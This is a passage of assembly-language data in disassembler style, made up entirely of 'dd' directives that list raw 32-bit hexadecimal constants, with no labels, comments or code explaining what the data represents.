		dd 9FB0AB7h, 71035C1h, 30C20834h, 0CD40897Ch, 5BA32B04h
		dd 0ECA29BF9h, 2C765304h, 77ACA8F5h, 0B758AD78h, 0D677EC5h
		dd 4EE7F198h, 3CD40683h, 0EB00E611h, 0A34CAD51h, 0AB3A3475h
		dd 0C584017Bh, 53A0F0C3h, 0F8DCD0E0h, 1E55006Ch, 88F91B1Fh
		dd 0A063874h, 0A6CB82D4h, 96B307F8h, 4036A9B7h,	0F0E750D7h
		dd 0D0A38700h, 16466671h, 942EFAFBh, 805011ECh,	40163E92h
		dd 40EE4B5Ch, 0C9CD5304h, 0FB783DF7h, 6CE3D100h, 4C128399h
		dd 86B22596h, 0B539B400h, 5327DB65h, 345420C1h,	0BAE3D14h
		dd 272140E7h, 1CFC2281h, 980CD8C7h, 1F06B700h, 775BA87Ah
		dd 4EE004Ch, 0D6F79615h, 9700393Ah, 9A4A7B64h, 842905h
		dd 7A1EC66Fh, 0E7449B53h, 0B82FF672h, 4DC280Bh,	0C5F6705Fh
		dd 84513006h, 12181A12h, 0C1341082h, 0C8CDA0h, 9661F552h
		dd 50904B4h, 335104DDh,	3D14C14Ah, 0E52266A2h, 2D7F2204h
		dd 211B542h, 8B12164h, 29882F16h, 659A88C9h, 519DCD90h
		dd 28FD284Ah, 42598E22h, 44E31199h, 7214F128h, 975890Ah
		dd 2994CE31h, 24113C65h, 8812155h, 50BA5935h, 8B441514h
		dd 6442845Dh, 0CE082D21h, 84699088h, 0A1485ACCh, 248E9242h
		dd 58322145h, 1E209512h, 5CFD9C19h, 0E4587478h,	0FAED300h
		dd 9524418Bh, 0BF024FB8h, 2C89A01Eh, 4FC4789Ah,	90BC16E6h
		dd 0D207EC78h, 0FA1D7104h, 0ECC061B3h, 8E24CE8Ch, 676FC00h
		dd 85C0F448h, 0AEC60FBEh, 1FF31E0Ah, 0DD7940C0h, 0ADA794CFh
		dd 802C0B3Dh, 0F2FE0248h, 7FB28AC8h, 308006Ch, 0E885E60Dh
		dd 2303C58Ch, 4B6FBB0Eh, 0E1EBA0F1h, 1A650098h,	86944D4h
		dd 63717ADDh, 0E62E1F09h, 0D8582290h, 0B4D2C9h,	0A2669D59h
		dd 707CA1B0h, 0CEB2D00Eh, 0AEC09D9Ch, 0EE56FDBEh, 0CD4D077Bh
		dd 6E4FE585h, 0C6C870F9h, 21BA5468h, 0A30014BCh, 1D5E5755h
		dd 3E3FC0Bh, 0F9F6CA70h, 85AD32F3h, 3420E11Ch, 2425C528h
		dd 32EC80A5h, 3A214F23h, 8B183185h, 99A81963h, 0BDB7FD07h
		dd 5B82483Dh, 0EDBE00A2h, 2838CF04h, 491A839Bh,	761DD7Eh
		dd 0CD81B058h, 57B370FCh, 9D183D03h, 0BA38AA1Dh, 4FC100ABh
		dd 70AD248h, 0FF009BE5h, 0F8F9C8B9h, 0EA2233F2h, 12AB053Ah
		dd 80619D50h, 93C273Ah,	0C263B100h, 0DA66EC6Eh,	7C360EC3h
		dd 7960834Ch, 84B37347h, 0BACCE100h, 70C00772h,	0D62E2F6Bh
		dd 0DED78480h, 44F6FE2Fh, 3DC4855Ch, 7AF48074h,	0D05E903Fh
		dd 0B223CDDh, 0AF7E4100h, 0D723685Dh, 37D55Ch, 4EFC119Bh
		dd 49A69F6Dh, 23001C0Bh, 41E17903h, 0C004ED17h,	0B0EA2606h
		dd 3FDADB80h, 64750078h, 7F41E856h, 0B5007177h,	9EBC2945h
		dd 432B04Ah, 31BA9706h,	260491B7h, 86C6C80Fh, 25D0B341h
		dd 60070073h, 0DB8B5161h, 0CA020FA3h, 8EE38AC2h, 648469EDh
		dd 0FD02382Ch, 0BB02E7A9h, 110E0A0h, 34077175h,	0FAA0F895h
		dd 424A90A0h, 0CB02008Ah, 6E9E7E3h, 0D217C61Ah,	58019ACAh
		dd 9D71E65h, 36D42082h,	60E01ACCh, 4B1C5CA1h, 0A64EBF0Ah
		dd 74808025h, 28BEC62Fh, 28E80C44h, 76DA8805h, 32E81E48h
		dd 7CB2C34Ah, 7BC01A0Ah, 0FE00C1EDh, 28BEFA4Eh,	72B108DAh
		dd 0F17057h, 0DCB4CDACh, 50458FAEh, 0D92D2217h,	6A73DC00h
		dd 14E612D0h, 0F094C3D3h, 2D6E087Ah, 0E7007DC6h, 610E1FCEh
		dd 59950054h, 419E4CFh,	0A0004F6Bh, 12CDE08Eh, 3B9149DBh
		dd 0B780DFCEh, 6065A792h, 0C2000B1Bh, 6F7D7ECBh, 106EBB56h
		dd 8249A61h, 679211h, 0F73EE805h, 3F02559Ch, 0F9D652BEh
		dd 0A9A84801h, 24BF2EBh, 11DC223Bh, 50D826h, 0AAFA9C76h
		dd 2AD19013h, 0C08C8409h, 0B3F5ACh, 7B0B35B6h, 0D718722Ch
		dd 0D5071709h, 2C523Ch,	5F7ECF7Dh, 0F6010350h, 3F44AF00h
		dd 0E50E17D1h, 1DBE0082h, 9CD39B92h, 5C002A3Bh,	2E0FBC9Ah
		dd 5F9F42h, 8CE06513h, 1CCC27B4h, 4D002C90h, 48AC3034h
		dd 3C1264AFh, 0C5007581h, 4510BDBFh, 0FF037C1Eh, 0D5DE88D8h
		dd 0F2A00012h, 0EF5148A0h, 0A37FE0EAh, 1829EC00h, 0E3211338h
		dd 5FA030E9h, 17338E5Ah, 0CAD3B702h, 62F61B06h,	75005C54h
		dd 84C16390h, 0D40FF1FAh, 6702BDFCh, 0B1AA48Fh,	6CB843Bh
		dd 0A4E8CCCh, 9DDDA31Eh, 0D90100E4h, 0A4A9D659h, 7CE77E00h
		dd 72C31714h, 0BA710321h, 0EDDA743Dh, 65D8A08Dh, 0D4FA58ECh
		dd 47B76E02h, 0C0BA3754h, 0EE7728h, 69F0CC9Ah, 1CF9C794h
		dd 0E4231200h, 2C43526Bh, 1BFE07DEh, 30881125h,	0B48B75BAh
		dd 65C45F03h, 923DE9A7h, 2F17C0A6h, 1F34B0E0h, 0C0A8F044h
		dd 640581CCh, 613CB83Ah, 0C2E006Eh, 13D88C1Ch, 3C5CB4CDh
		dd 0F2F77680h, 6AD95E0Eh, 0DE03D300h, 666F2D72h, 1CE89Eh
		dd 0BE7C574Eh, 2C76FBC8h, 20CFB400h, 0C677A9BFh, 1BCEC60h
		dd 0DAA2C970h, 604AC859h, 11005613h, 103258A0h,	0FCFB2712h
		dd 733009D7h, 7804D83h,	0CC9860E0h, 2A81C814h, 0E53AFBh
		dd 0E1023DCh, 95F4FECBh, 6DE4001Dh, 30FCD034h, 197AACA6h
		dd 707E1300h, 77F405FEh, 0F2227758h, 0CB89006Dh, 0CCC91093h
		dd 0AC03E894h, 0BC4EA1E0h, 0C37DC051h, 0A0707B16h, 3E57D1ACh
		dd 0C0839CFCh, 982BD242h, 8F380DD8h, 0D31C9E01h, 96F420D7h
		dd 0C057FCh, 11AC6E25h,	0C75E5A6Ah, 0E04FFCB6h,	0F1332FB6h
		dd 0BB35005Ch, 0AA7BE0CFh, 4739DD5Eh, 4CC780F9h, 0B66252DCh
		dd 5B400E80h, 3898891Dh, 8015CF5h, 0F204B9E4h, 0ADD022C6h
		dd 8AA400E9h, 43BB6B46h, 0E07740EFh, 0EB8FE09Ch, 0DE01D159h
		dd 84A66150h, 0BFB3041h, 2F221C3Fh, 0F8DC40DBh,	588E26AAh
		dd 24CB80C8h, 0B75E94A8h, 0CC01F601h, 5D93A325h, 1F54160h
		dd 0A531C8BCh, 0E08118ADh, 2500B4F0h, 9B224F91h, 1145BD5h
		dd 0E88436E1h, 6D63A3CEh, 1BBB0418h, 0F8D0EFF3h, 0B07A9D0Fh
		dd 61F8C080h, 8EF2089Eh
		dd 2FBDEC00h, 1A2B8935h, 20150336h, 777CBAE0h, 0E87F5190h
		dd 0ACA92D00h, 177BF081h, 74DB04C6h, 80D1EE75h,	56162FE8h
		dd 1A4C9600h, 815D996Bh, 0A3E9006Ch, 0D8CD95F1h, 9A031BB8h
		dd 775CFEC9h, 230F943h,	9218432Bh, 19004635h, 2B7F2765h
		dd 0B14BEF0h, 0C96FC5CCh, 30445C9Ah, 0A586B307h, 0B6406A67h
		dd 12EFFA8Fh, 407F2AAEh, 109D9A80h, 0F300ED89h,	979E38C1h
		dd 1FEF8B12h, 0C039C0ECh, 0C8A13A6h, 65C9865h, 7A4D0053h
		dd 0A994076h, 11B700EEh, 0DD6EA490h, 6CE08E89h,	30118090h
		dd 45008022h, 0B133400Bh, 72C57BBh, 5B0A349Bh, 0A000B49Eh
		dd 206E4986h, 6B60F511h, 0B790039Fh, 174B945h, 98D0C2E0h
		dd 3D733500h, 0BF9B3409h, 0B845787Ch, 0BB9003Bh, 85EB6412h
		dd 635CA908h, 56920B40h, 0A55B846Ch, 0C65AFD80h, 0CA711E01h
		dd 661FE6h, 0CE16123Ah,	0EA258293h, 785658h, 9542BFD5h
		dd 5A00C28Bh, 2099D261h, 77917C60h, 0F8D31D27h,	16644369h
		dd 0ECC87992h, 0D5281C3Bh, 0D907E0C9h, 8197878Dh, 50A3621h
		dd 6C8006Eh, 0A6D3F9F3h, 3D0046ECh, 0E5DFF5FEh,	48555FA4h
		dd 8C007F30h, 3BF1B877h, 9E09D017h, 5164A390h, 62A58030h
		dd 7477D84Ch, 0D0F70801h, 6F80019Ch, 0B0D0772Fh, 0A2675E46h
		dd 0C27E9700h, 0F3797378h, 0EC009781h, 2D99EC33h, 26008890h
		dd 0CD5BC7FAh, 73DD20E7h, 43EA0044h, 0D3C727Eh,	3851BBF2h
		dd 6FAED4CDh, 4E8DD60Bh, 6BECA0A2h, 3D575DAh, 602B20E0h
		dd 77C84213h, 1A05883Ah, 0A3399609h, 80CB60C0h,	7BB71DCCh
		dd 0BBCAC02Fh, 0D957D41Ah, 0D21C7A02h, 80622943h, 150F7384h
		dd 95D7A4Dh, 0E9B7973Bh, 0F4F25802h, 0A840F44Ah, 0EE0FF680h
		dd 32A733CAh, 0CBBDFC40h, 2DD9432h, 6CA28E10h, 544802C5h
		dd 27B0A692h, 82FBF83Dh, 78063185h, 0A158436Eh,	212E38BAh
		dd 0D14CD8h, 0DC30F5h, 0CCB323A3h, 0C447444Eh, 0C9DB9F0Bh
		dd 4C44811Bh, 59EDF34Dh, 0B914282Dh, 0F601AC9Ah, 0BBCB4EA7h
		dd 368920B1h, 28BE1901h, 1B2D76A1h, 331C7880h, 466F724Fh
		dd 0A5E38F3Bh, 37A400ADh, 1DBB1639h, 0C09AB5B3h, 673281AFh
		dd 56000E27h, 719D3DA9h, 17753674h, 0CF577Dh, 38E8BED0h
		dd 91035503h, 0D454C080h, 0CA0C4FBh, 0E22A17ABh, 801C832Bh
		dd 0CFF8281Eh, 0CD8B2170h, 0E96D07C1h, 35F3DA66h, 0A3BC80ECh
		dd 0A950F838h, 0EDE408F8h, 8D364201h, 0CF3DBE6h, 0F12AB084h
		dd 0F060FD84h, 13286E2h, 0FE28AD64h, 6C2A931Ah,	0B8FA0054h
		dd 0B3EB0354h, 9ED72E88h, 0E970064h, 91C9DEF0h,	9D2FB00h
		dd 965C5869h, 3B9274D0h, 0BA04AF71h, 0C0909731h, 62F4628h
		dd 6C33450Eh, 708B49h, 1928BDA4h, 22140737h, 50A0EA35h
		dd 9A4BC7F8h, 0CE69623Dh, 0F5405C20h, 0CD6407A9h, 9F96AA2Fh
		dd 3D8FB160h, 0F1000348h, 0F068C9F3h, 663A68Eh,	0DF4C6FC3h
		dd 3100C81Ch, 4F723B8Bh, 0D1CEB4h, 0C4A8B9D8h, 0C753A73Eh
		dd 58D5FCE0h, 211C7FF8h, 4280267Bh, 3999E579h, 0BAB73D08h
		dd 3F20AF84h, 52CF8F4h,	0AC2E8224h, 3CC77084h, 587AB660h
		dd 0C06B4E1Ch, 0E7D4D008h, 307B0103h, 0C899129Ah, 78BA26Ah
		dd 60C154F6h, 862D60C6h, 0C5B83343h, 77398C1Ch,	87271889h
		dd 0FFF5AB3Dh, 57110F0h, 9575E32Ah, 9BCC75Ah, 0D0DB40E9h
		dd 591CE467h, 873D4B05h, 8186C4EEh, 4C3076E6h, 320324EBh
		dd 2ABC0334h, 0D843381Dh, 0E014D200h, 833CD9h, 0E21B5776h
		dd 9A5D58ACh, 4613FCFAh, 3C0040E7h, 0F042BA6Ch,	22C0041h
		dd 56AAF3B3h, 11733D08h, 4448270Fh, 5080EBD4h, 2154002Ch
		dd 0B803E8A8h, 25381D4Eh, 2E830011h, 0CAE4BBE0h, 0DBD800E9h
		dd 1FC00858h, 0F009B77Fh, 1B8CC16Eh, 40FEC078h,	79C802ECh
		dd 0F949381Dh, 0D12705Eh, 0CD803F1Dh, 45F429DBh, 20BF0309h
		dd 87DAF0ECh, 0CEE6EB80h, 58D60700h, 0C06EB05Fh, 1337C6Dh
		dd 0ED15165Dh, 7C9FF443h, 0B45A0B98h, 0A96CA0F9h, 39792091h
		dd 7580102Ch, 0CCD3D9FBh, 95728A49h, 59E5661Dh,	0CB78CEh
		dd 767C1980h, 5F9109DAh, 8100456Dh, 0E07CDF5h, 16C853Dh
		dd 40ACC713h, 0D4DCFA9Dh, 0EECF007Bh, 0BBA44A22h, 8E005A70h
		dd 55F50E9Ah, 0E97360h,	324687F1h, 0FF6EF2D5h, 234D5000h
		dd 7DCBD30Eh, 0CD3409B6h, 0A90490A3h, 9CB4B42Ch, 67C02BF9h
		dd 865051h, 2A7EB005h, 0F5254890h, 80E8683Dh, 0DE850BB8h
		dd 5841BD1h, 2F22E9A9h,	0ABDC881Ah, 480F8D5Ah, 0D2DEA09Bh
		dd 0A01149E8h, 0FC0A6CE8h, 90FA1Bh, 0B0B84CF2h,	0E506FA92h
		dd 7E5A3EF8h, 0CCF970C3h, 2350F220h, 7FC80B18h,	8221B759h
		dd 2BD9E000h, 600F48F2h, 0A5C573A8h, 0FD00C3F9h, 121CBD83h
		dd 302498A1h, 0E80AAABBh, 4A144372h, 26982074h,	0F4004C9Ch
		dd 0C7D5C131h, 279D1FC3h, 0D7B9C039h, 5D8F3012h, 378BAF00h
		dd 0BF51B204h, 2C009DC5h, 13DF57E7h, 4FFFDD00h,	0C2602E69h
		dd 0D0C500BEh, 597EFC15h, 58940AEAh, 9ADC9F3Bh,	238E2F40h
		dd 24E46D30h, 8EC4F603h, 0ED60A1A8h, 3E79FC50h,	0CEB24B02h
		dd 0F7B49E70h, 4024F800h, 0D5E429FBh, 2201EE98h, 0F8DC21EFh
		dd 28E77Eh, 846B21EFh, 0C09FC5D0h, 6E2E3E8Ch, 38434B37h
		dd 1E59BB80h, 0BFBD1F46h, 0EE78B85Ch, 0E284006Ah, 0BEECED53h
		dd 0A21F6B95h, 2112263Fh, 90B98A00h, 3A2FB0A9h,	2E00AF96h
		dd 0C694E87Eh, 4500C983h, 0C01485F9h, 1CC4C8D4h, 8169BC51h
		dd 634573Ch, 2070E1C3h,	117639Ch, 0D10D9FDh, 3A5B84h, 16B6AC8h
		dd 89725D2Ch, 57E4B465h, 0F6970015h, 0D1DCEB37h, 6D007E3Ch
		dd 38363361h, 4AA1BD1Ch, 68C0087h, 119D18AFh, 27E63507h
		dd 89134D6h, 8ED4BBBCh,	0E8E0F93Dh, 724D0083h, 0EEE9BA0Dh
		dd 0CF0A5C8Ch, 0C3B611B9h, 0E8790100h, 3D72FCA9h, 66077A3Dh
		dd 40738034h, 7078824Eh, 590D4B00h, 0A954FF1Bh,	563000F4h
		dd 0FBFA0990h, 0FC0229C8h, 401FA878h, 97B840DFh, 9F2E009Bh
		dd 0AE01A51Eh, 2658048Ah, 69FC00B8h, 1B083331h,	0ACF11824h
		dd 0D0951821h, 905C411Fh, 9CCE2EC7h, 794B5D20h,	0ABA70B74h
		dd 2F0CB5AEh, 0C6005040h, 92CFFE0Ah, 0F8D0245Ah, 9EE014Ch
		dd 84D88DB1h, 4ECEC4F2h, 6700E890h, 529FEBA5h, 5EA893h
		dd 16B10F6Eh, 8EBCF68Fh, 9B1FBE0Bh, 0DFC0879Dh,	68E08854h
		dd 15EE0020h, 46D32704h, 8D3E3A82h, 734700CEh, 0A7D78EBDh
		dd 0A1612474h, 0D112FCh, 0F157F30h, 0E8EA5D05h,	0E328A527h
		dd 0AAD6D894h, 9CCD02BFh, 0C030D263h, 68011478h, 3887B0BEh
		dd 0E4F9F707h, 77115422h, 6C130A4Eh, 4300AC10h,	0F6785115h
		dd 77CB047Eh, 80936F44h, 8919BF9Ch, 8FEBA93Ah, 0E0829D3Eh
		dd 3FE0013Ah, 27C4B828h, 54808E1Ch, 18BEF4FDh, 3A708C00h
		dd 0F0261293h, 7F773949h, 0AAE9E80h, 8115A4C9h,	9D3C4109h
		dd 7388E819h, 0B9B70046h, 9EBD3037h, 0F205E884h, 7043F7Fh
		dd 585FE8D0h, 44980B89h, 30604D51h, 0C80F30F5h,	60FF6FC2h
		dd 83098FD3h, 0FC1F5CBFh, 0A7C60700h, 0A144AEC5h, 81F34D07h
		dd 8340737Ah, 179B38E8h, 4F5F06h, 6DC7A701h, 0C900482Bh
		dd 0ED41E4D2h, 785AE768h, 233A0073h, 290C8581h,	7D70C001h
		dd 5B7F7200h, 0A48F83D3h, 36900F8h, 6B6F3340h, 124EF0DDh
		dd 1A9C4080h, 23AA0017h, 5E80BA2h, 9D00E1FDh, 1F516E0Fh
		dd 906DAEB0h, 6BDB00D4h, 0C0A2C5BDh, 6A00E823h,	74951F9Ch
		dd 5B4F2h
		dd 0D6CBEDFEh, 0FAF1F779h, 0B38C40F3h, 58777B12h, 0E72D1A0Bh
		dd 1147A2Ch, 0B6CFAE09h, 403BEA15h, 46CD82AFh, 4CD77612h
		dd 2C4054A9h, 9EF42627h, 0D68F8098h, 653A84CCh,	0B651691Ch
		dd 18B24BD7h, 48058BC6h, 0A7692A00h, 30C5196Fh,	3F8E05B3h
		dd 204C66BEh, 0CBDB812Ch, 0A487B200h, 45E1580Ch, 3485529Fh
		dd 0AF3B1504h, 0C4F8B017h, 6D3AD0Ch, 2C11EFh, 6DB04F15h
		dd 2E87174Dh, 0BC2F362Ch, 23CA288Eh, 0D2B70232h, 0B6D8A085h
		dd 0FD44E9h, 155B209Bh,	0C604E57Fh, 17DC40F1h, 0D300B0CDh
		dd 2C0E626Fh, 50CF903Fh, 0C2C8E8h, 0FC7ED293h, 7815B4F0h
		dd 27F62100h, 0CFDD2217h, 0E5CA3C70h, 1F823D0Bh, 0FE1E7B00h
		dd 4C02C625h, 786472F0h, 5DB4A515h, 0CFEAD005h,	0E87D8860h
		dd 88B4ABCAh, 0EE71E44Dh, 5BE32C77h, 446E0334h,	0FBCDE8F9h
		dd 4891C30Ch, 50AC9603h, 8312FBD4h, 631C7DAFh, 4300BCA6h
		dd 3368A089h, 617405h, 0E7E612CEh, 0C3172865h, 8CB13601h
		dd 4335838h, 58CC0B70h,	75002467h, 0D24348B0h, 9E009A2Bh
		dd 0F46EAE38h, 376DC184h, 1029444Ah, 3375A029h,	0D21611CFh
		dd 0E1EBAD03h, 2A23D859h, 250E0EC1h, 968263D0h,	8C49F911h
		dd 0BCD4EA93h, 5B4E0ADh, 0B3313D46h, 0BC260280h, 0DCF2C77Dh
		dd 0C37BDB0Bh, 45740004h, 27C6973h, 0A6460A5Eh,	0E48F631Ah
		dd 0D018A2A1h, 174828ADh, 0AC003088h, 2293B8C9h, 1428017Bh
		dd 0AFE018CEh, 0A0002E81h, 8CA13D0Fh, 20EF809h,	5E69E621h
		dd 90C03F7Ch, 2C03FD3Bh, 861AB102h, 923988EDh, 558B0E08h
		dd 0B6271FAEh, 2261E2B5h, 0E4CA460h, 5888674Ah,	50F7007Ah
		dd 7CCB624Eh, 0CA004B60h, 18E7CF59h, 1283CD5h, 0ABA50CC4h
		dd 0CCEB3FA4h, 0AC3C0545h, 43D2028Dh, 0C0984E58h, 0EE93D82Ch
		dd 0E3C00F09h, 0A887B451h, 0DE6F101Dh, 0C225FE98h, 1F246EC9h
		dd 8302C357h, 56DB5ADFh, 497478B0h, 68EBD105h, 0DCB803C2h
		dd 77C1916h, 0E015A117h, 0DB0A6494h, 0EDB800BDh, 14672938h
		dd 0A8630B83h, 5CF03200h, 301ABD8Ah, 0B9FF5000h, 0B1F2991Ch
		dd 0A94F1FC1h, 12D44316h, 54E3E0EAh, 0C7EF3B88h, 1BE284B8h
		dd 0E287B710h, 0A4A0A227h, 0A630C9BBh, 831A9F09h, 0AEBCE8F7h
		dd 482001Bh, 0F1FEC06Dh, 920215BBh, 2C1689Eh, 8850C0F6h
		dd 0D57602ACh, 36089681h, 2A284440h, 8879F9h, 0C99F7062h
		dd 4F6E87AEh, 0B040C02Eh, 8309E08Bh, 800DE8E5h,	4492FBE8h
		dd 56727Bh, 1776BD63h, 0CC8E3BFEh, 71421892h, 0B9920300h
		dd 0A58E506h, 6C4C2500h, 2031EB0Eh, 624F3FFBh, 0AB52958Ah
		dd 0A034088h, 0AD093F41h, 1EA2B88h, 18BA6152h, 0FE1B6C30h
		dd 4C64C01h, 4935E85Bh,	56EF0078h, 4858FEB5h, 7E86126Ch
		dd 0FBFC426Eh, 6A4014DBh, 5C1E76C3h, 6340DF78h,	0A9E5185Ah
		dd 0E8621755h, 4088F2A8h, 0F4903BE4h, 81909C00h, 6FF969EBh
		dd 797BF846h, 0B0B900EAh, 6DF41338h, 709175Dh, 7CA62628h
		dd 0CA1807E0h, 0E81C5097h, 81B56EA0h, 0ABC59D8h, 820F5462h
		dd 0A04F6C20h, 29777E41h, 0D19FE40Bh, 0E137C40Bh, 7D3820B6h
		dd 7A0FC3F3h, 84BB4C23h, 0CD63037Eh, 569327AAh,	7945FBE0h
		dd 369A3D00h, 5E3E0AACh, 901C3B70h, 91A04682h, 6CCED2F4h
		dd 0A468CB1Ch, 60D9D180h, 5970C55Ch, 72225006h,	65859B0Bh
		dd 0F73040E6h, 336E00ADh, 47170FE0h, 0BA0087ECh, 0DBA96CF9h
		dd 3C78CC9Ch, 544C713Dh, 0F424C100h, 0EDCDE7E5h, 0D103CA13h
		dd 9942D049h, 0CBF9FEF4h, 0F80C2C0Eh, 0E21AAF11h, 0E82E68B3h
		dd 33308561h, 48802AB1h, 0B08C3B61h, 0EFA8002Ch, 2D9E5397h
		dd 0B2020E10h, 4D36F950h, 0CD4C4BCBh, 0F80F9416h, 6CE4561Fh
		dd 2B7017C8h, 0C41442E5h, 0D4807846h, 5D87AA2Fh, 831161C9h
		dd 11CD725h, 41F08D89h,	64ABCA0Dh, 0C977B9ACh, 0FC15252Bh
		dd 8BF2F784h, 0F1805490h, 50B36753h, 12D93223h,	3BFA9B20h
		dd 9FB02C03h, 1DBE899Ch, 0C6830454h, 0B009B5AFh, 2991E07Ah
		dd 7094E5F5h, 9F01C511h, 2CEE3435h, 7BED60h, 3D125004h
		dd 7209AAC1h, 70FB747h,	5A203780h, 0F5F7C0h, 0E329ABE4h
		dd 0E882D628h, 0E04E094h, 801FBC53h, 0A23615ACh, 0C30147Dh
		dd 22B4290Ah, 2C0F971Ah, 19935AC6h, 38183Fh, 9CD25648h
		dd 1613B0C1h, 3AE1965h,	0AD7902C7h, 0D36786F8h,	0BAE20E00h
		dd 8EF52128h, 9F46FCE3h, 0CD840AAh, 0E488069Ch,	8A6E3E00h
		dd 857173CCh, 0EDB00BC6h, 9820C3C9h, 0A398A93Ch, 6F58F509h
		dd 0EBF46074h, 0C1D8096Ch, 0C24ACCEh, 0A858C430h, 9D74838h
		dd 80A2258Ch, 72CD64E4h, 0C2E45FC8h, 0BC487B70h, 0A8008C1Ch
		dd 0B38DA4EAh, 0ABCF26h, 354C9CCEh, 0D3D2792Fh,	78C4271Ah
		dd 0C5419h, 194EAE9Dh, 9390F198h, 0D0FF6B01h, 7339B496h
		dd 683C052Ah, 4160812Fh, 789630C4h, 388130D2h, 74605A72h
		dd 0A42300C2h, 734721DBh, 0A70097D6h, 6F7F4A89h, 2771C1h
		dd 40D7B1E7h, 3AE982E0h, 60D6D17h, 3AC9409h, 0D51EA922h
		dd 0C01C10BCh, 3A974091h, 2C294757h, 3100B3F2h,	0F2DD4E0Ch
		dd 19C08h, 30F6A479h, 0C178249Dh, 2913AFE2h, 18BC76E9h
		dd 507FB700h, 0E524101Eh, 959FC900h, 1F1A144Ah,	49DB0F0h
		dd 192B437Eh, 0FD6F81E1h, 0B537E007h, 0BBEB9000h, 4D6F1C31h
		dd 2B86007Fh, 0D2EA913Eh, 0C1007903h, 57273761h, 99E4CEh
		dd 0A6D6B717h, 28A1D414h, 0F84A8E3Fh, 4F8BF417h, 6A84E800h
		dd 0B0D66FC4h, 597224Ch, 0F9001E77h, 6B5159D2h,	0B7486AC2h
		dd 34284027h, 9144D0A0h, 0EC09A4D4h, 298E5FFh, 5F3A3404h
		dd 2FA32CC1h, 0ECB4200Ah, 8A0B1A04h, 2B0034F2h,	13F56B96h
		dd 6200A5AAh, 7BDFE7F7h, 1365FADh, 78D76EF8h, 201EE2D2h
		dd 0B558140Bh, 0B7D00EEh, 4D7AE719h, 545A48E9h,	0B3B93C00h
		dd 0E3CAFA38h, 0A6D47100h, 204E4785h, 4BC90B2Fh, 4186396h
		dd 570BDA5Eh, 5A545346h, 0CA032D2Ch, 757DA410h,	8C055F16h
		dd 9BEF800h, 182D3E5h, 860BC17h, 720777F8h, 0E6B203E8h
		dd 0A8372DB7h, 277BC6CDh, 68D0A5E7h, 0F30026E4h, 0B18A99AAh
		dd 3FBB8Fh, 487D0BF1h, 44DD37F6h, 36DB4200h, 7F99EF5Eh
		dd 0EAFD0105h, 816927C8h, 96883441h, 6B13E5FAh,	0C040F224h
		dd 16BD37D5h, 2C3EFE90h, 4D070A8h, 90934C7Bh, 0FF4FFEE0h
		dd 0A5E5AB00h, 0F20D575Dh, 2C1D7220h, 1EE096CAh, 9CAC40D8h
		dd 13A7CC31h, 6C09C977h, 0DCF75Eh, 0D2251124h, 45460020h
		dd 1306197Ch, 0F30B0E85h, 835F245Ah, 0E8FB0B82h, 12E69605h
		dd 81E22ED6h, 783FDAC8h, 3AB60694h, 4B8BE35h, 0B74DEFE6h
		dd 9314E79Ch, 478C5400h, 469D93h, 276518FBh, 1EBA5930h
		dd 0E4E08704h, 0F0B226D7h, 0F07B7C1h, 0BB8980E5h, 3796231Fh
		dd 9A76A3h, 0F45F0DAEh,	6134F8C0h, 952C5E0Ah, 25EEB862h
		dd 0A440542Bh, 273E1D5Bh, 72F6093Dh, 646B42FDh,	0FCC8F2DAh
		dd 22274ADBh, 9CC030E5h, 0ABA4A07Ah, 12FC093Fh,	3854EF45h
		dd 1C267424h, 1AEE0E0Bh, 0F7A431FCh, 3BA78410h,	0DC971D26h
		dd 3A32B600h, 0B23FB1B7h, 675C489Ch, 0E5A5D517h, 0D2105098h
		dd 0D0690330h, 279CDAD8h, 20E20B73h, 39CB50E1h,	48870D14h
		dd 0B034F137h, 0B88CECE2h, 0ACA6BF63h, 78B389A6h, 6A790902h
		dd 0C660E0E8h, 52300FFh, 93A2EBB3h, 755FBCC3h, 27A2780h
		dd 0FB1D09F4h, 0E0F45257h, 94AC4712h, 0E61B884h, 0BF400011h
		dd 25D53601h, 0FC6C9A44h
		dd 0D41559h, 843724EFh,	885E8h,	0EAE781E2h, 0F974020Bh
		dd 0F557F000h, 16559CD0h, 6BBFCE4h, 68960CD8h, 4A4ED11Eh
		dd 7E641822h, 47DF00C4h, 8F8542D7h, 9A403C00h, 9550760Ch
		dd 0A0ACB2DAh, 0EC5714h, 55973FDEh, 21E4CC5Ah, 1F45DC00h
		dd 225E5394h, 2157F59h,	6A0763CDh, 0AC5E8D6Ch, 3BB97004h
		dd 84A094C4h, 0D8D00024h, 0E6E141B2h, 20B09214h, 65DA9800h
		dd 39458BCBh, 0E7BC09C7h, 64D86DA0h, 0DDFE4200h, 9CD33D52h
		dd 68EA2C7Bh, 2699A604h, 0F803E90h, 7CD5D012h, 0E42D0552h
		dd 0F3388274h, 0E5DCC0C9h, 987E989Fh, 406095A0h, 0D21EEBBAh
		dd 89C03E0Ch, 0B3AC1B08h, 19CB0CEh, 0A79A1DE2h,	68851F28h
		dd 0B11E053Ch, 8C805BFAh, 260331h, 0B0EDC908h, 2A387FB6h
		dd 46911103h, 0BAB5DF71h, 9885756Fh, 3F38E52Ch,	0A09C7C41h
		dd 0C02DC36Ah, 396F8701h, 0DE1A9EAEh, 8538747Ch, 2D29AD4Ch
		dd 0E316A8F8h, 0A8C10756h, 80A5C460h, 0AF500204h, 28111F00h
		dd 8ACA64D9h, 8EE2042Ch, 90CE29B2h, 2E364FECh, 0EC520D5Bh
		dd 0EC903C56h, 212D0Fh,	841598A0h, 0F6F33ACCh, 0DE00BE73h
		dd 67A6F243h, 1D82CCEh,	87186939h, 2837DA2Bh, 64CC2D6Ch
		dd 80C17E48h, 44007A08h, 887750D1h, 9779060Eh, 9BF1C0A0h
		dd 6B00A554h, 75DAE87Fh, 7C55D31Bh, 253765Eh, 176AB44h
		dd 0A8E0A93Ah, 0F11E4B0Bh, 0BA83C650h, 405B4E0Dh, 1657F850h
		dd 49593527h, 44E48AE0h, 48B0AF26h, 9A1F2780h, 319233h
		dd 1240348Ah, 60ADE93Dh, 1040BB5Eh, 0A36BDBB5h,	0C1F000BEh
		dd 98E28A49h, 0F7054257h, 2DCF66A7h, 69D7D7C7h,	7E8FBF50h
		dd 0EA8438B9h, 0EDFF00F0h, 72AA36C7h, 3B3A5952h, 0BAC48E13h
		dd 0BDAE2044h, 8B81B3h,	8FCD951h, 48E05DC6h, 5AEFD81Ch
		dd 5CEAA8F0h, 1CB32670h, 11A501FCh, 7C6EAED3h, 2E80013Ch
		dd 791A2B73h, 1ED9F6D0h, 80455421h, 0A1BCB89h, 0F2F80546h
		dd 11447912h, 80A1D80Bh, 0CFA49C5Fh, 33401E4Fh,	74E040D1h
